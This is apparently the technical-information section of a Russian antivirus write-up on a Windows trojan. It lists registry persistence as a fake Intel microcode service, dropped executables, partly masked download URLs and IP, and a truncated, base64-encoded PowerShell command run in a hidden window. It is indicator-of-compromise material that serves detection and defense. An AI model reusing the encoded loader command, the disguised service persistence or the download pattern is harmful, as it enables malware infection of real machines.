Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mcupdate_GenuineIntel] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mcupdate_GenuineIntel] 'ImagePath' = '"<SYSTEM32>\XAPOFX1_1\mcupdate_GenuineIntel.exe"'
- 'mcupdate_GenuineIntel' "<SYSTEM32>\XAPOFX1_1\mcupdate_GenuineIntel.exe"
- 'mcupdate_GenuineIntel' <SYSTEM32>\XAPOFX1_1\mcupdate_GenuineIntel.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADQAYwA4AHAAbABrAD0AKAAnAEwAegAnACsAJwAxAGgAJwArACgAJwBxAG8AJwArACcAXwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVABlAE0AUABcAFcAbwByAEQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\f889k6.exe
- <SYSTEM32>\xapofx1_1\mcupdate_genuineintel.exe
- %TEMP%\word\2019\f889k6.exe в <SYSTEM32>\xapofx1_1\mcupdate_genuineintel.exe
- '71.##7.211.156':80
- http://www.im####lvallo.com/wp-admin/uL/
- http://ip##sl.com/itec/fDa/
- http://71.##7.211.156/QuJvYMg/t3uLbdv/
- DNS ASK im####lvallo.com
- DNS ASK ip##sl.com
- '%TEMP%\word\2019\f889k6.exe'
- '<SYSTEM32>\xapofx1_1\mcupdate_genuineintel.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADQAYwA4AHAAbABrAD0AKAAnAEwAegAnACsAJwAxAGgAJwArACgAJwBxAG8AJwArACcAXwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVABlAE0AUABcAFcAbwByAEQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)